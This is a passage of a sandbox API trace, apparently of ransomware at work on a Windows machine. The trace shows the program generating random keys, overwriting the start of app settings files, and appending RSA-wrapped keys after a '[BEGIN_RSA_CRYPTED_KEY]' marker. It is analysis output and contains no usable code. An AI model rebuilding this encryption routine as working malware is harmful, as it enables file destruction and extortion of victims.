pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.876] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.876] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.876] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="txIEqv7Lbarp+F/nSojofX/f10yLLgQaRpn33sA/MoayShddXsXtZDfKmRvzOVV2\nunXx2IVB9UthKHyTwVzexMgPNtSmoFCcAkrW1GfsBPAztgIblfCReBooImM3I3e5\npJjYGElP6DMHlP3C6dCRhaQcRgttScp0iTtc60GBdUx1enJ68tnMoR2TjI9bu3va\n/4RR26tmDplucNQU26SuzZt9t4fM1JEiyT6vY/Ov49KgVnNkFOyqdu2zRJ15gX3v\nnnzA6EHinS0I6guE2j8pq2RzQZ3C5nr3fzN0hWSmxff+k4TmGCnYrN8uuKKen0TM\n0JoAF8KPK7erB6VmoAtoYg==\n", pcchString=0x2e3f9a8) returned 1 [0201.876] WriteFile (in: hFile=0x1278, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.876] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.876] WriteFile (in: hFile=0x1278, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.877] CloseHandle (hObject=0x1278) returned 1 [0201.878] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.878] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0201.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0201.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0201.878] ReadFile (in: hFile=0x1278, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.893] SetFilePointer (in: hFile=0x1278, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.893] WriteFile (in: hFile=0x1278, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.894] SetFilePointer (in: hFile=0x1278, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.894] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.894] WriteFile (in: hFile=0x1278, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.895] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.895] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.895] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.895] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.895] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2M3KPdWBIV7UVIG2R/dN34nG9+9gO8ZSjIT0ynCMupXcR0vGv0rJJNTCTdDM/Wfj\nlTFmmFUZtg1pw2SKxJPxh0ds2U5HGgwH8/PvlxBto9Fc12OTn60y3FAyOAvpafOP\nKU9IvmdyhN0RfqxLjBfLEDpF22PB0CCBJLHLywMBv6GNMCGwK6g9yrwg5e9479Ql\ncls2YemZBh1vuoOdIazJEJ1n/J6rHgNWD6t3WbvSnlu8ciRTqYcmutCyVj33Cp47\nu39bSyFhlJhTRI2ItCpDXldeXR1mAiPE01/KM+IJ8JZPrUeNHebqhfM/r4f0g2wU\n9vG3NqqQtiFRLTekoo1mFw==\n", pcchString=0x2e3f9a8) returned 1 [0201.895] WriteFile (in: hFile=0x1278, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.896] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.896] WriteFile (in: hFile=0x1278, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.896] CloseHandle (hObject=0x1278) returned 1 [0201.898] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.898] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0201.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668aa0 [0201.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.902] ReadFile (in: hFile=0x1278, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.906] SetFilePointer (in: hFile=0x1278, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.906] WriteFile (in: hFile=0x1278, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0201.907] SetFilePointer (in: hFile=0x1278, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0201.907] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.907] WriteFile (in: hFile=0x1278, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.907] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.908] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.908] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Y7pnC8l/oEyBo17hOqj9xQJCcWwWtgw5wKRnhdieIP8bHFn0MNDBerrjKq9OrGgo\n5rrXy0qfvmqTHyqbBHM5qqYofXtwvwbRBdDqHzuNL1iwo4pANkjjTK2h8/V9jRaG\nP6Ym9qWJb1LhghhSqmr+1IEWDhdppyrrOe5MNWANlK2eSVHpdRCulinIGKByyFhn\nMiu03y7tDez1o2pHBu+iaIuMrZAlUrj81yOhfv+kjNMTxfwV+GRLCc7FhqXUZGha\nIwlGAf/754D9MaVuKAv00SF8F6ygKYFQ/Ubo3Zhgl0ry0gMYf1lsVS4Ser1knL+8\nuYTWgGokUJ3Gbrf+Oo72Lw==\n", pcchString=0x2e3f9a8) returned 1 [0201.908] WriteFile (in: hFile=0x1278, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.909] WriteFile (in: hFile=0x1278, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.909] CloseHandle (hObject=0x1278) returned 1 [0201.913] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.913] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0201.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668b78 [0201.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.914] ReadFile (in: hFile=0x1278, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.914] SetFilePointer (in: hFile=0x1278, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.914] WriteFile (in: hFile=0x1278, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.914] SetFilePointer (in: hFile=0x1278, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.915] WriteFile (in: hFile=0x1278, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="E4yaUHTME3TgQqRXDqyals4IPfL/0Bwr7CaQD5ZdQR8g7KDALQuNQ38Co+6aIt8t\n4V79YLUC8db08PBq69vma2eUyFNmlamH7yvEhGJlSig0wQumOc3FcPq9gxMsBu6/\n3/fXDJ9d9we5uPmXmPC/qbENZkn8iA3fD5I0++Q8JxXPysIsGm7TuvcyvB/71MML\nrSfLULnmvwvw2v8T5Adn2GMVTdS8gE1BmFKdg/jUCXmhgm7Y6Ur9H6d1fjnjT5Mk\ndFUn5J3LNIatPsV9P78XkC+3CO/uaT7Kv8fdgXVOVBk+6GzGFPV/mUscv7/aORBt\nUSQOAAo0keiaR6otnliggw==\n", pcchString=0x2e3f9a8) returned 1 [0201.916] WriteFile (in: hFile=0x1278, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.917] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.917] WriteFile (in: hFile=0x1278, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.917] CloseHandle (hObject=0x1278) returned 1 [0201.923] WriteFile (in: hFile=0x1284, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.925] CloseHandle (hObject=0x1284) returned 1 [0201.928] WriteFile (in: hFile=0x1284, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.930] CloseHandle (hObject=0x1284) returned 1 [0201.930] WriteFile (in: hFile=0x1284, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0201.932] CloseHandle (hObject=0x1284) returned 1 [0201.932] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.932] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0201.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0201.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.936] ReadFile (in: hFile=0x1298, lpBuffer=0x59d1c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.936] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.936] WriteFile (in: hFile=0x1298, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0201.936] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0201.936] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.936] WriteFile (in: hFile=0x1298, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.938] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.938] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sSZZLLuHram0XKlwlHf8eip8ABuXiNd9lqkZbQJrz/kfvHRjZOe0ADMNZ6MaT5wf\nRVcFp4MBySJ6WBWtsRDjXRptOGmAEBUY8a6uYnUMEBzUMTmi4W3aEW9Dv/fOUyxf\n8qZ3G9RujpwB/aZ5Tot5gO9eN8DtHpJVCvs2HCDBnJLc1/fADadDsZLxjYwqhOYE\nHiGm2ZpXAvYvAXHkqz2ffBNHGUPbk9STBwYXak5ttTq4TAgGvStp+nyxqaj3s9XG\n4sxwPQ6r/btxyZe/CLMxnKRUHaqBqYkmZMRU2euGLtCOvHHIYe29jQxx3P7Ls2Lk\nijCvFrFBAi3LDUGa+t3LKA==\n", pcchString=0x2e3f9a8) returned 1 [0201.938] WriteFile (in: hFile=0x1298, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.939] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.939] WriteFile (in: hFile=0x1298, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.939] CloseHandle (hObject=0x1298) returned 1 [0201.941] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0201.941] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0201.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669088 [0201.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0201.998] ReadFile (in: hFile=0x1298, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0202.027] SetFilePointer (in: hFile=0x1298, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.027] WriteFile (in: hFile=0x1298, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0202.028] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0202.028] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.028] WriteFile (in: hFile=0x1298, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0202.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0202.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0202.029] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0202.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0202.029] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tdfzAf4nJFS8Lt5i0guOMUs85h8kQJM4VDTEnVp1OMZi5YepzVG3nb/f1Sg8PzEA\nShXOx1+hRDgWGl8rWEPSb8qZF9/7pBx3ImjTcOjOt9Q/KRJFuukKLdAJ7H/DcrCE\n1HMJlyrU/XWo98Rcw22ngMrHLS5DYiixCs52Eldm6y5fM8lkf4zY2B6KllS2ybxa\n2/dZ/iXEc3cMDY286bfIirDSvOz+b79JO/RlbmvLN964MlBVnxUyipLQLtmswRuS\nAyQsYWqafZXu2wFvnB9UNzG8/6hY02HLfw377dsPfWbOnRKEufNok5F1ZF7GoOJX\nf/QEH+Rl812h2l4vmnIPKw==\n", pcchString=0x2e3f9a8) returned 1 [0202.029] WriteFile (in: hFile=0x1298, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0202.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.030] WriteFile (in: hFile=0x1298, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0202.030] CloseHandle (hObject=0x1298) returned 1 [0202.032] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0202.032] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0202.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6683e0 [0202.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0202.033] ReadFile (in: hFile=0x1298, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0202.139] SetFilePointer (in: hFile=0x1298, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.139] WriteFile (in: hFile=0x1298, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0202.139] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0202.139] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.139] WriteFile (in: hFile=0x1298, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0202.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0202.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0202.140] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0202.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0202.140] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 